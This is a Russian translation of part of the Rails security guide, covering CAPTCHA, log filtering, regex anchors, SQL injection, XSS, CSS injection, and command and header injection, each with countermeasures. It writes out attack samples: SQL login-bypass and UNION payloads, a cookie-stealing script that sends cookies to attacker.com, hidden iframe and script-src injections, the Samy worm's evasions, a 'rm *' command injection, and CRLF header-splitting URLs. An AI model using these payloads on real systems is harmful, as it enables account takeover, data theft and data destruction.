В зависимости от вашего веб-приложения, могут быть другие способы угона аккаунт пользователя. Во многих случаях CSRF и XSS способствуют этому. Как пример, уязвимость CSRF в Google Mail. В этой прототипной атаке жертва могла быть заманена на сайт злоумышленника. На этом сайте создавался тег IMG, который приводил к HTTP-запросу GET, который изменял настройки фильтра Google Mail. Если жертва была авторизована на Google Mail, злоумышленник мог изменить фильтры для перенаправления всех писем на его e-mail. Это почти так же вредно, как и полный угон аккаунта. Как контрмера, пересмотрите логику своего приложения и устраните все уязвимости XSS и CSRF.

6.3. CAPTCHA

CAPTCHA - это тест вызова-отклика для определения, что отклик не сгенерирован компьютером. Она часто используется для защиты регистрационных форм от атакующих и форм комментирования от автоматических спам-ботов, требуя от пользователя написать буквы на искаженном изображении. Это положительная CAPTCHA, но есть еще и отрицательная CAPTCHA. Идея отрицательной CAPTCHA не просить пользователей доказать, что они люди, а показать, что робот является роботом.

Популярной CAPTCHA API является reCAPTCHA, которая отображает два искаженных изображения слов из старых книг. Она также добавляет линию под углом, а не искаженный фон или высокий уровень деформации текста, как делали раньше CAPTCHA, так как они были сломаны. Дополнительно, использование reCAPTCHA помогает оцифровать старые книги. ReCAPTCHA это также плагин Rails с тем же именем, как и API.

Вы получаете два ключа из API, открытый и секретный ключ, которые помещаете в свою среду Rails. После этого можете использовать метод recaptcha_tags во вью и метод verify_recaptcha в контроллере. verify_recaptcha возвратит false, если валидация провалится. Есть проблема с CAPTCHA, они оказывают негативное влияние на пользователя. Кроме того, некоторые слабовидящие пользователи найдут искаженные CAPTCHA неудобочитаемыми. Но все-таки, положительные CAPTCHA являются одним из лучших методов предотвращения отправки форм различными ботами.

Большинство ботов реально простенькие. Они ползают по вебу и кладут свой спам в каждое поле формы, какое только находят. Отрицательная CAPTCHA берет преимущество в этом и включает поле "соблазна" в форму, которое скрыто от человека с помощью CSS или JavaScript.

Обратите внимание, что отрицательные CAPTCHA эффективны только против простеньких ботов, и этого будет недостаточно для защиты критически важных приложений от нацеленных ботов. И все-таки, отрицательные и положительные CAPTCHA могут быть объединены для улучшения производительности, например, если поле "соблазна" не пустое (обнаружен бот), вам не нужно будет проверять положительные CAPTCHA, которые требуют HTTPS-запрос к сервису Google ReCaptcha перед вычислением отклика.

Вот несколько идей, как спрятать поля соблазна с помощью JavaScript и/или CSS:

  • расположить поля за пределами видимой области страницы
  • сделать элементы очень маленькими или цветом таким же, как фон страницы
  • оставить поля отображаемыми, но сказать людям оставить их пустыми

Наиболее простой отрицательной CAPTCHA является одно скрытое поле соблазна. На серверной стороне проверяется значение поля: если оно содержит текст, значит это бот. Затем можно или игнорировать сообщение, или вернуть положительный результат, но не сохранять сообщение в базу данных. Это, возможно, удовлетворит бота и он пойдет дальше.

Более сложные отрицательные CAPTCHA рассмотрены в блоге Ned Batchelder:

  • Включить поле с текущей временной меткой UTC в нем и проверить его на сервере. Если оно слишком близко в прошлом, форма невалидна.
  • Рандомизировать имена полей
  • Включить более одного поля соблазна всех типов, включая кнопки подтверждения

Отметьте, что это защитит только от автоматических ботов, специально изготовленные боты не могут быть этим остановлены. Поэтому отрицательная CAPTCHA не может хорошо защитить формы входа.

6.4. Логирование

Скажите Rails не помещать пароли в файлы логов.

По умолчанию Rails логирует все запросы, сделанные к веб-приложению. Но файлы логов могут быть большим вопросом безопасности, поскольку они могут содержать учетные данные для входа, номера кредитных карт и так далее. При разработке концепции безопасности веб-приложения также необходимо думать о том, что случится, если злоумышленник получит (полный) доступ к веб-серверу. Шифрование секретов и паролей будут совершенно бесполезным, если файлы лога отображают их чистым текстом. Можете фильтровать некоторые параметры запроса в ваших файлах лога, присоединив их к config.filter_parameters в конфигурации приложения. Эти параметры будут помечены [FILTERED] в логе.

config.filter_parameters << :password

Предоставленные параметры будут отфильтрованы по частичному соответствию регулярному выражению. Rails добавляет список фильтров по умолчанию, включая :passw, :secret и :token в соответствующий инициализатор (initializers/filter_parameter_logging.rb) чтобы обрабатывать обычные параметры приложения, такие как password, password_confirmation и my_token.

6.5. Регулярные выражения

Распространенная ошибка в регулярных выражениях Ruby в том, что проверяется соответствие начала и конца строки с помощью ^ и $, вместо \A и \z.

Ruby использует немного отличающийся от многих языков программирования подход в соответствии концу и началу строки. Поэтому даже много литературы по Ruby и Rails допускают такую ошибку. Так как же это влияет на безопасность? Скажем, вы хотите по-быстрому проверить поле URL и используете подобное простое регулярное выражение:

  /^https?:\/\/[^\n]`$/i

В некоторых языках это сработает хорошо. Однако, в Ruby ^ и $ соответствуют началу и концу строчки. И, таким образом, следующий URL пройдет фильтр без проблем:

javascript:exploit_code();/*
http://hi.com
*/

Этот URL пройдет фильтр, поскольку он соответствует регулярному выражению – вторая строчка, остальное не имеет значения. Теперь представим, что у нас во вью этот URL выводится следующим образом:

  link_to "Homepage", @user.homepage

Для посетителя ссылка выглядит невинно, но при ее нажатии, она выполнит JavaScript функцию "exploit_code" или любой другой представленный злоумышленником скрипт.

Для починки регулярного выражения должны использоваться \A и \z вместо ^ и $, следующим образом:

  /\Ahttps?:\/\/[^\n]+\z/i

Поскольку это частая ошибка, теперь валидатор формата (validates_format_of) вызывает исключение, если представленное регулярное выражение начинается с ^ или заканчивается на $. Если вам необходимо использовать ^ и $ вместо \A и \z (что является редкостью), можно установить опцию :multiline в true, следующим образом:

  # содержимое должно содержать строчку "Meanwhile" где-то в строке
  validates :content, format: { with: /^Meanwhile$/, multiline: true }

Отметьте, что это защищает вас только против наиболее распространенной ошибки при использовании валидатора формата - нужно всегда держать в уме, что ^ и $ соответствуют началу и концу строчки в Ruby, а не началу и концу строки.

6.6. Расширение привилегий

Изменение единственного параметра может дать пользователю неавторизованный доступ. Помните, что каждый параметр может быть изменен, независимо от того, как вы спрятали или завуалировали его.

Наиболее общий параметр, в который может вмешиваться пользователь, это параметр id, как в http://www.domain.com/project/1, где 1 это id. Он будет доступен в params в контроллере. Там вы скорее всего сделаете что-то подобное:

@project = Project.find(params[:id])

Это нормально для большинства приложений, но безусловно нет, если пользователь не авторизован для просмотра всех проектов. Если пользователь изменяет id на 42, и ему не позволено видеть эту информацию, он в любом случае получит к ней доступ. Вместо этого, также запрашивайте права доступа пользователя:

@project = @current_user.projects.find(params[:id])

В зависимости от вашего веб-приложения, может быть много параметров, в которые может вмешиваться пользователь. Как правило, не вводимые пользователем данные безопасны, пока не доказано обратное, и каждый параметр от пользователя потенциально подтасован.

Не заблуждайтесь о безопасности при обфускации и безопасности JavaScript. Инструменты разработчика позволяют вам предварительно смотреть и изменять все скрытые поля формы. JavaScript может использоваться для проверки пользовательских данных, но только не для предотвращения злоумышленников от отсылки злонамеренных запросов с неожидаемыми значениями. Плагин Firebug для Mozilla Firefox логирует каждый запрос и может повторить и изменить его. Это простой способ обойти любые валидации JavaScript. А еще есть даже прокси на стороне клиента, которые позволяют перехватывать любой запрос и отклик из Интернет.

7. Инъекции

Инъекции - это класс атак, внедряющий злонамеренный код или параметры в веб-приложение для запуска их вне контекста безопасности. Известными примерами инъекций являются межсайтовый скриптинг (XSS) и SQL-инъекции.

Инъекции очень запутанные, поскольку тот же код или параметр может быть злонамеренным в одном контексте, но абсолютно безвредным в другом. Контекстом может быть сценарий, запрос или язык программирования, оболочка или метод Ruby/Rails. Следующие разделы раскроют все важные контексты, где могут произойти атаки в форме инъекций. Первый раздел, однако, раскроет архитектурное решение в связи с инъекцией.

7.1. Списки разрешений против списков ограничений

При экранировании, защите или верификации чего-либо, предпочитайте списки разрешений, а не списки ограничений.

Список ограничений может быть перечнем плохих адресов e-mail, непубличных действий или плохих тегов HTML. Этому противопоставляется список разрешений хороших адресов e-mail, публичных действий, хороших тегов HTML и так далее. Хотя иногда невозможно создать список разрешений (в фильтре спама, например), предпочтительнее использовать подходы списка разрешений:

  • Используйте before_action except: [...] вместо only: [...] для экшнов, связанных с безопасностью. Таким образом, вы не забудете включить проверки безопасности для вновь добавляемых экшнов.
  • Разрешите <strong> вместо удаления <script> против межсайтового скриптинга (XSS). Подробнее об этом ниже.
  • Не пытайтесь править пользовательские данные с помощью списков ограничений:
    • Это позволит сработать атаке: "<sc<script>ript>".gsub("<script>", "")
    • Но отвергнет неправильный ввод

Списки разрешений также хороший подход против человеческого фактора в забывании чего-либо в списке ограничений.

7.2. SQL-инъекции

Благодаря умным методам, это вряд ли является проблемой в большинстве приложений на Rails. Однако, это очень разрушительная и обычная атака на веб-приложения, поэтому важно понять проблему.

7.2.1. Введение

Цель атаки в форме SQL-инъекции - сделать запросы к базе данных, манипулируя с параметрами приложения. Популярная цель атак в форме SQL-инъекций - обойти авторизацию. Другой целью является осуществление манипуляции с данными или чтение определенных данных. Вот пример, как не следует использовать пользовательские данные в запросе:

Project.where("name = '#{params[:name]}'")

Это может быть экшн поиска и пользователь может ввести имя проекта, который он хочет найти. Если злонамеренный пользователь введет ' OR 1) --, результирующим SQL-запросом будет:

SELECT * FROM projects WHERE (name = '' OR 1) --')

Два тире начинают комментарий, игнорирующий все после него. Таким образом, запрос вернет все записи из таблицы projects, включая те, которые недоступны пользователю. Так случилось, поскольку условие истинно для всех записей.

7.2.2. Обход авторизации

Обычно веб-приложения включают контроль доступа. Пользователь вводит свои учетные данные для входа, веб-приложение пытается найти соответствующую запись в таблице пользователей. Приложение предоставляет доступ, когда находит запись. Однако, злоумышленник возможно сможет обойти эту проверку с помощью SQL-инъекции. Следующее показывает типичный запрос к базе данных в Rails для поиска первой записи в таблице users, которая соответствует параметрам учетных данных для входа, предоставленных пользователем.

User.find_by("login = '#{params[:name]}' AND password = '#{params[:password]}'")

Если злоумышленник введет ' OR '1'='1 как имя и ' OR '2'>'1 как пароль, результирующий запрос SQL будет:

SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'>'1' LIMIT 1

Это просто найдет первую запись в базе данных и предоставит доступ этому пользователю.

7.2.3. Неавторизованное чтение

Выражение UNION соединяет два запроса SQL и возвращает данные одним набором. Злоумышленник может использовать это, чтобы прочитать произвольную информацию из базы данных. Давайте рассмотрим вышеописанный пример:

Project.where("name = '#{params[:name]}'")

Теперь позволим внедрить другой запрос, использующий выражение UNION:

') UNION SELECT id,login AS name,password AS description,1,1,1 FROM users --

Это приведет к следующему запросу SQL:

SELECT * FROM projects WHERE (name = '') UNION
  SELECT id,login AS name,password AS description,1,1,1 FROM users --'

Результатом будет не список проектов (поскольку нет проектов с пустым именем), а список имен пользователя и их пароли. Поэтому надеемся, что вы безопасно хэшируете пароли в базе данных! Единственной проблемой для злоумышленника может быть то, что число столбцов должно быть равное в обоих запросах. Вот почему второй запрос включает список единичек (1), который всегда будет иметь значение 1, чтобы количество столбцов соответствовало первому запросу.

Также второй запрос переименовывает некоторые столбцы выражением AS, чтобы веб-приложение отображало значения из таблицы users. Убедитесь, что обновили свой Rails как минимум до 2.1.1.

7.2.4. Контрмеры

В Ruby on Rails есть встроенный фильтр для специальных символов SQL, который экранирует ', ", символ NULL и разрыв строчки. Использование Model.find(id) или Model.find_by_something(something) автоматически применяет эту контрмеру. Но в фрагментах SQL, особенно в фрагментах условий (where("...")), методах connection.execute() или Model.find_by_sql(), это должно быть применено вручную.

Вместо передачи строки, можете использовать позиционные обработчики, чтобы экранировать испорченные строки, подобно следующему:

Model.where("zip_code = ? AND quantity >= ?", entered_zip_code, entered_quantity).first

Первый параметр это фрагмент SQL с вопросительными знаками. Второй и третий аргумент заменят вопросительные знаки значениями переменных.

также можно использовать именованные обработчики, значения будут взяты из используемого хэша:

values = { zip: entered_zip_code, qty: entered_quantity }
Model.where("zip_code = :zip AND quantity >= :qty", values).first

Помимо этого, можно разделять и соединять условия, валидные для вашего случая:

Model.where(zip_code: entered_zip_code).where("quantity >= ?", entered_quantity).first

Отметьте, что ранее упомянутые контрмеры доступны только в экземплярах модели. В других местах используйте sanitize_sql. Введите в привычку думать о последствиях безопасности, когда используете внешние строки в SQL.

7.3. Межсайтовый скриптинг (XSS)

Наиболее распространенная и одна из наиболее разрушительных уязвимостей в веб-приложениях - это XSS. Данная вредоносная атака внедряет на стороне клиента исполняемый код. Rails предоставляет методы для защиты от этих атак.

7.3.1. Точки входа

Точка входа - это уязвимый URL и его параметры, с которых злоумышленник может начать атаку.

Наиболее распространенными точками входа являются публикации сообщений, комментарии пользователей и гостевые книги, но заголовки проектов, имена документов и страницы результата поиска также бывают уязвимы - почти везде, где пользователь может ввести данные. Но ввод не обязательно может прийти из полей ввода на веб-сайтах, это может быть любой параметр URL – очевидный, скрытый или внутренний. Помните, что пользователь может перехватить любой трафик. Приложения или клиентские прокси могут легко изменить запросы. Также имеются иные направления атак, такие как баннерная реклама.

Атаки XSS работают подобным образом: злоумышленник встраивает некоторый код, веб-приложение сохраняет его и отображает на странице, после чего представляет его жертве. Большинство примеров XSS просто отображают сообщение, но реальные возможности гораздо мощнее. XSS может своровать куки, угнать сессию, перенаправить жертву на фальшивый веб-сайт, отобразить рекламу, полезную злоумышленнику, изменить элементы на веб-странице, чтобы получить конфиденциальную информацию или установить вредоносное программное обеспечение, используя дыры в веб-браузере.

Во второй половине 2007 года выявлено 88 уязвимостей в браузерах Mozilla, 22 в Safari, 18 в IE и 12 в Opera. Отчет об угрозах Symantec Global Internet Security также задокументировал 239 уязвимостей плагинов для браузеров в последние шесть месяцев 2007 года. Mpack очень активный и регулярно обновляемый фреймворк злоумышленников, который использует эти уязвимости. Для преступных хакеров очень привлекательно использовать уязвимость к SQL-инъекциям в фреймворке веб-приложения и вставлять вредоносный код в каждый текстовый столбец таблицы. В апреле 2008 года более 510,000 сайтов были взломаны подобным образом, в том числе Британского правительства, ООН и многих других высокопоставленных организаций.

7.3.2. HTML/JavaScript инъекции

Наиболее распространенным языком для XSS является, конечно, наиболее популярный клиентский скриптовый язык JavaScript, часто в сочетании с HTML. Экранирование пользовательского ввода необходимо.

Вот самый простой тест для проверки на XSS:

<script>alert('Hello');</script>

Этот код JavaScript просто отображает сообщение. Следующие примеры делают примерно то же самое, но в очень необычных местах:

<img src="javascript:alert('Hello')">
<table background="javascript:alert('Hello')">
7.3.2.1. Похищение куки

Пока эти примеры не делали никакого вреда, поэтому давайте посмотрим, как злоумышленник может похитить куки пользователя (и, таким образом, угнать пользовательскую сессию). В JavaScript можно использовать свойство document.cookie для чтения и записи куки документа. JavaScript обеспечивает политику ограничения домена, которая означает, что скрипт с одного домена не может получить доступ к куки другого домена. Свойство document.cookie содержит куки создавшего веб-сервера. Однако это свойство можно прочитать и записать, если внедрите код непосредственно в документ HTML (как это происходит в XSS). Введите это где-нибудь в своем веб-приложении, чтобы увидеть собственные куки на результирующей странице:

<script>document.write(document.cookie);</script>

Для злоумышленника, разумеется, бесполезно, что жертва видит свои куки. Следующий пример пытается загрузить изображение с URL http://www.attacker.com/ плюс куки. Конечно, этот URL не существует, поэтому браузер ничего не отобразит. Но злоумышленник сможет просмотреть логи доступа к своему веб-серверу, чтобы увидеть куки жертв.

<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>

Лог файлы на www.attacker.com будут подобны следующему:

GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2

Можно смягчить эти атаки (очевидным способом) добавив к куки флаг httpOnly, таким образом, document.cookie не сможет быть прочитан JavaScript. HTTP-only куки могут использоваться начиная с IE v6.SP1, Firefox v2.0.0.5 и Opera 9.5, Safari 4 и Chrome 1.0.154 и выше. Но другие, более старые браузеры (такие как WebTV и IE 5.5 on Mac) могут фактически отказаться загружать страницу. Однако, будьте осторожны, что куки все еще видны при использовании Ajax.

7.3.2.2. Искажение

Исказив веб-страницу, злоумышленник сможет сделать многое, например, предоставить ложную информацию или завлечь жертву на сайт злоумышленника, чтобы украсть куки, учетные данные для входа или другие чувствительные данные. Наиболее популярным способом является включение кода с внешних источников с помощью iframe:

<iframe name=”StatPage” src="http://58.xx.xxx.xxx" width=5 height=5 style=”display:none”></iframe>

Это загрузит произвольный HTML и/или JavaScript с внешнего источника и внедрит его, как часть сайта. Этот iframe взят из настоящей атаки на правительственные итальянские сайты с использованием Mpack attack framework. Mpack пытается установить злонамеренное программное обеспечение через дыры безопасности в веб-браузере – очень успешно, 50% атак успешны.

Более специализированные атаки могут накрывать целые веб-сайты или отображать форму входа, которая выглядит как такая же на оригинальном сайте, но передает имя пользователя и пароль на сайт злоумышленников. Или могут использовать CSS и/или JavaScript, чтобы спрятать настоящую ссылку в веб-приложении, и отобразить на ее месте другую, которая перенаправит на фальшивый веб-сайт.

Атаки в форме искажающих инъекций являются такими, что полезная нагрузка не хранится, а предоставляется жертве позже, но включена в URL. Особенно в формах поиска не получается экранировать строку поиска. Следующая ссылка представляет страницу, озаглавленную "George Bush appointed a 9 year old boy to be the chairperson...":

http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode=1-->
  <script src=http://www.securitylab.ru/test/sc.js></script><!--
7.3.2.3. Контрмеры

Очень важно отфильтровывать злонамеренный ввод, но также важно экранировать вывод в веб-приложении.

Особенно для XSS, важно делать фильтрацию ввода с помощью списка разрешений, а не ограничений. Фильтрация списком разрешений устанавливает допустимые значения, остальные значения недопустимы. Списки ограничений всегда не законченные.

Предположим, список ограничений удаляет "script" из пользовательского ввода. Теперь злоумышленник встраивает "<scrscriptipt>", и после фильтра остается "<script>". Ранние версии Rails использовали подход списка ограничений для методов strip_tags(), strip_links() и sanitize(). Поэтому такой сорт инъекций был возможен:

strip_tags("some<<b>script>alert('hello')<</b>/script>")

Это возвратит "some<script>alert('hello')</script>", что позволит осуществиться атаке. Вот почему подход списка разрешений лучше при использовании метода Rails 2 sanitize():

tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br cite sub sup ins p)
s = sanitize(user_input, tags: tags, attributes: %w(href title))

Это допустит только заданные теги и сделает все хорошо, даже против всех ухищрений и злонамеренных тегов.

В качестве второго шага, хорошо экранировать весь вывод в приложении, особенно при отображении пользовательского ввода, который не был отфильтрован при вводе (как в примере выше). Используйте метод html_escape() (или его псевдоним h()), чтобы заменить введенные символы HTML &, ", < и > их неинтерпретируемыми представителями в HTML (&amp;, &quot;, &lt; и &gt;).

7.3.2.4. Обфусцированная и закодированная инъекция

Сетевой трафик главным образом основан на ограниченном Западном алфавите, поэтому новые кодировки символов, такие как Unicode, возникли для передачи символов на других языках. Но это также угроза для веб-приложений, так как злонамеренный код может быть спрятан в различных кодировках, так что веб-браузер сможет его выполнить, а веб-приложение нет. Вот направление атаки в кодировке UTF-8:

<img src=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;
  &#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>

Этот пример вызывает окно сообщения. Хотя это распознается фильтром sanitize(). Хорошим инструментом для обфускации и кодирования строк (знайте своего врага!) является Hackvertor. Метод Rails sanitize() работает хорошо, отражая закодированные атаки.

Чтобы понять сегодняшние атаки на веб-приложения, лучше взглянуть на некоторые реальные направления атаки.

Ниже приведена выдержка из Js.Yamanner@m Yahoo! почтовый червя. Он появился 11 июня 2006 года и был первым червем для почтового интерфейса:

<img src='http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1.gif'
  target=""onload="var http_request = false;    var Email = '';
  var IDList = '';   var CRumb = '';   function makeRequest(url, Func, Method,Param) { ...
">

Черви использовали дыру в фильтре HTML/JavaScript Yahoo, который обычно фильтровал все атрибуты target и onload из тегов (потому что там мог быть JavaScript). Однако фильтр применялся только раз, поэтому атрибут onload с кодом червя оставался. Это хороший пример, почему фильтры списка ограничений никогда не полные, и почему трудно позволить HTML/JavaScript в веб-приложении.

Другой прототипный веб-почтовый червь Nduja, междоменный червь для четырех итальянских веб-почтовых сервисов. Более детально описано в статье Rosario Valotta. Оба почтовых червя имели целью собрать почтовые адреса, на чем преступный хакер мог сделать деньги.

В декабре 2006 года 34,000 имени фактических пользователей и их пароли были похищены во время фишинговой атаки на MySpace. Идеей атаки было создание профиля, названного "login_home_index_html", поэтому URL выглядел очень правдоподобно. Специально созданный HTML и CSS использовался, чтобы скрыть настоящий контент MySpace и вместо этого отразить собственную форму входа.

7.4. CSS-инъекция

CSS-инъекция - это фактически JavaScript-инъекция, поскольку некоторые браузеры (IE, некоторые версии Safari и другие) разрешают JavaScript в CSS. Подумайте дважды о допустимости пользовательского CSS в вашем веб-приложении.

CSS-инъекция лучше всего объясняется известным червем MySpace Samy. Этот червь автоматически рассылал предложение дружбы с Samy (злоумышленником), просто посетив его профиль. В течение нескольких часов он сделал свыше 1 миллиона запросов дружбы, но создал так много трафика, что MySpace ушел в оффлайн. Ниже следует техническое объяснение червя.

MySpace блокировал много тегов, но позволял CSS. Поэтому автор червя поместил JavaScript в CSS следующим образом:

<div style="background:url('javascript:alert(1)')">

Таким образом полезная нагрузка происходила через атрибут стиля. Но в полезной нагрузке недопустимы кавычки, так как одинарные и двойные кавычки уже были использованы. Но в JavaScript имеется удобная функция eval(), которая выполняет любую строку как код.

<div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')">

Функция eval() - это кошмар для фильтров ввода на основе списка ограничений, так как она позволяет атрибуту стиля спрятать слово "innerHTML":

alert(eval('document.body.inne' + 'rHTML'));

Следующей проблемой было то, что MySpace фильтровал слово "javascript", поэтому автор использовал "java<NEWLINE>script" чтобы обойти это:

<div id="mycode" expr="alert('hah!')" style="background:url('java↵script:eval(document.all.mycode.expr)')">

Следующей проблемой для автора червя были токены безопасности CSRF. Без них он не смог бы послать запросы дружбы через POST. Он обошел это, посылая GET на страницу перед добавлением пользователя и парся результат на токен CSRF.

В итоге он получил 4 KB червя, которого внедрил в свою страницу профиля.

Свойство moz-binding CSS предоставляет другой способ внедрить JavaScript в CSS в основанных на Gecko браузерах (Firefox, к примеру).

7.4.1. Контрмеры

Этот пример снова показывает, что фильтр на основе списка ограничений никогда не полон. Однако, так как пользовательский CSS в веб-приложениях достаточно редкая особенность, трудно найти хороший фильтр CSS на основе списка разрешений. Если хотите разрешить пользовательские цвета или картинки, разрешите выбрать их и создайте CSS в веб-приложении. Используйте метод Rails sanitize() как модель для фильтра CSS на основе списка разрешений, если это действительно нужно.

7.5. Инъекция Textile

Если хотите предоставить форматирование текста иное, чем HTML (для безопасности), используйте разметочный язык, конвертируемый в HTML на сервере. RedCloth - это такой язык для Ruby, но без мер предосторожности он также уязвим к XSS.

Например, RedCloth переводит _test_ в <em>test<em>, который делает текст курсивом. Однако, до версии 3.0.4 была уязвимость к XSS. Возьмите новую версию 4, в которой убраны серьезные программные ошибки. Однако даже эта версия имела (на момент написания статьи) несколько программных ошибок безопасности, поэтому контрмеры только принимались. Вот пример для версии 3.0.4:

RedCloth.new('<script>alert(1)</script>').to_html
# => "<script>alert(1)</script>"

Используем опцию :filter_html, чтобы устранить HTML, который не был создан процессором Textile.

RedCloth.new('<script>alert(1)</script>', [:filter_html]).to_html
# => "alert(1)"

Однако, это не отфильтрует весь HTML, некоторые теги останутся (преднамеренно), например <a>:

RedCloth.new("<a href='javascript:alert(1)'>hello</a>", [:filter_html]).to_html
# => "<p><a href="javascript:alert(1)">hello</a></p>"
7.5.1. Контрмеры

Рекомендуется использовать RedCloth в сочетании с фильтром ввода на основе списка разрешений, как описано в разделе о контрмерах против XSS.

7.6. Ajax-инъекции

Те же меры безопасности должны быть приняты для экшнов Ajax, что и для "нормальных". Однако, есть как минимум одно исключение: вывод экранируется уже в контроллере, если экшн не рендерит вью.

Если используете плагин in_place_editor или экшны, возвращающие строку, а не рендерите вью, нужно экранировать возвращаемое значение в экшне. В ином случае, если возвращаемое значение содержит строку с XSS, злонамеренный код выполнится по возвращению в браузер. Экранируйте каждое введенное значение с помощью метода h().

7.7. Инъекции командной строки

Используйте предоставленные пользователем параметры командной строки с предосторожностью

Если приложение выполняет команды в лежащей в основе операционной системе, имеется несколько методов в Ruby: system(command), exec(command), spawn(command) и command. Вы должны быть особенно осторожны с этими функциями, если пользователь может вводить целые команды или часть их. Это так, потому что во многих оболочках можно выполнять другую команду в конце первой, разделяя их точкой с запятой (;) или вертикальной чертой (|).

user_input = "hello; rm *"
system("/bin/echo #{user_input}")
# напечатает "hello" и удалит файлы в текущей директории

Контрмерой является использование метода system(command, parameters), который передает параметры командной строки безопасно.

system("/bin/echo", "hello; rm *")
# напечатает "hello; rm *" и не удалит файлы
7.7.1. Уязвимость Kernel#open

Kernel#open запускает команды ОС, если аргумент начинается с вертикальной черты (|).

open('| ls') { |file| file.read }
# возвращает список файлов, как строку, с помощью команды `ls`

Контрмерой является использование File.open, IO.open или URI#open. Они не запускают команду ОС.

File.open('| ls') { |file| file.read }
# не запускает команду `ls`, всего лишь открывает файл `| ls`, если он существует

IO.open(0) { |file| file.read }
# Открывает stdin. Не принимает строку как аргумент

require 'open-uri'
URI('https://example.com').open { |file| file.read }
# Открывает URI. `URI()` не принимает `| ls`

7.8. Инъекция заголовка

Заголовки HTTP динамически генерируются и при определенных обстоятельствах могут быть изменены пользовательским вводом. Это может привести к ложному перенаправлению, XSS или разделению HTTP отклика (HTTP response splitting).

Заголовки запроса HTTP имеют поля Referer, User-Agent (клиентское ПО) и Cookie, среди прочих. Заголовки отклика, к примеру, имеют код статуса, Cookie и Location (цель перенаправления на URL). Все они предоставлены пользователем и могут быть подтасованы с большими или меньшими усилиями. Не забывайте экранировать эти поля заголовка тоже. Например, когда Вы отображаете user agent в администраторской зоне.

Кроме того, важно знать, что делаете, когда создаете заголовки отклика, частично основанные на пользовательском вводе. Например, вы хотите перенаправить пользователя на определенную страницу. Для этого вы представили поле "referer" в форме для перенаправления на заданный адрес:

redirect_to params[:referer]

Что произойдет, если Rails поместит строку в заголовок Location и пошлет статус 302 (redirect) браузеру. Первое, что сделает злонамеренный пользователь, это:

http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld

И благодаря программной ошибке в (Ruby и) Rails до версии 2.1.2 (исключая ее), хакер мог внедрить произвольные поля заголовка; например, так:

http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld%0d%0aX-Header:`Hi!
http://www.yourapplication.com/controller/action?referer=path/at/your/app%0d%0aLocation:`http://www.malicious.tld

Отметьте, что %0d%0a это URL-закодированные \r\n, являющиеся возвратом каретки и новой строчкой (CRLF) в Ruby. Таким образом, итоговым заголовком HTTP для второго примера будет следующее, поскольку второе поле заголовка Location перезаписывает первое.

HTTP/1.1 302 Moved Temporarily
(...)
Location: http://www.malicious.tld

Таким образом, направления атаки для инъекции заголовка основаны на инъекции символов CRLF в поле заголовка. И что сможет сделать злоумышленник с ложным перенаправлением? Он сможет перенаправить на фишинговый сайт, который выглядит так же, как ваш, но просит заново авторизоваться (и посылает учетные данные для входа злоумышленнику). Или он сможет установить злонамеренное ПО, используя дыры в безопасности браузера на этом сайте. Rails 2.1.2 экранирует эти символы для поля Location в методе redirect_to. Убедитесь, что вы делаете то же самое, когда создаете другие поля заголовка на основе пользовательского ввода.

7.8.1. Перепривязывание DNS и атаки на заголовок Host

Перепривязывание DNS это метод манипулирования разрешением имен домена, который обычно используется в качестве формы компьютерной атаки. Перепривязывание DNS обходит политику ограничения домена системы доменных имен (DNS). Оно перепривязывает домен к другому адресу IP, а затем компрометирует систему, запуская произвольный код на вашем приложении Rails с измененного адреса IP.

Рекомендуется использовать промежуточную программу ActionDispatch::HostAuthorization для защиты против перепривязывания DNS и других атак на заголовок Host. Она включена по умолчанию в среде development, и вам нужно активировать ее в production и других средах, установив список допустимых хостов. Также можно настроить исключения и установить свое приложение отклика.

Rails.application.config.hosts << "product.com"

Rails.application.config.host_authorization = {
  # Исключаем запросы для пути /healthcheck/ из проверки хоста
  exclude: ->(request) { request.path =~ /healthcheck/ }
  # Добавляем произвольное приложение Rack для отклика
  response_app: -> env do
    [400, { "Content-Type" => "text/plain" }, ["Bad Request"]]
  end
}

Подробнее об этом можно прочитать в документации по промежуточной программе ActionDispatch::HostAuthorization

7.8.2. Разделение отклика

Если инъекция заголовка была возможна, то разделение отклика также возможно. В HTTP блок заголовка заканчивается двумя CRLF, затем идут сами данные (обычно HTML). Идея разделения отклика состоит во внедрении двух CRLF в поле заголовка, после которых следует другой отклик со злонамеренным HTML. Отклик будет таким:

HTTP/1.1 302 Found [First standard 302 response]
Date: Tue, 12 Apr 2005 22:09:07 GMT
Location:Content-Type: text/html


HTTP/1.1 200 OK [Second New response created by attacker begins]
Content-Type: text/html


&lt;html&gt;&lt;font color=red&gt;hey&lt;/font&gt;&lt;/html&gt; [Arbitary malicious input is
Keep-Alive: timeout=15, max=100         shown as the redirected page]
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html

При определенных обстоятельствах это сможет отобразить зловредный HTML жертве. Однако, это будет работать только с соединениями Keep-Alive (а многие браузеры используют одноразовые соединения). Но нельзя на это полагаться. В любом случае, это серьезная программная ошибка, и следует обновить Rails до версии 2.0.5 или 2.1.2, чтобы устранить риски инъекции заголовка (и поэтому разделения отклика).

8. Небезопасная генерация запросов

Благодаря способу, которым Active Record интерпретирует параметры, в сочетании со способом, которым Rack парсит параметры запроса, было возможным осуществить неожидаемые запросы в базу данных с условием IS NULL. В качестве отклика на этот вопрос безопасности (CVE-2012-2660, CVE-2012-2694 и CVE-2013-0155) был представлен метод deep_munge в качестве решения, чтобы Rails оставался безопасным по умолчанию.

Пример уязвимого кода, который мог быть использован злоумышленником, если бы не был выполнен deep_munge:

unless params[:token].nil?
  user = User.find_by_token(params[:token])
  user.reset_password!
end

Когда params[:token] один из: [nil], [nil, nil, ...] или ['foo', nil], он прошел бы проверку на nil, но выражение условия IS NULL или IN ('foo', NULL) все еще было бы добавлено в запрос SQL.

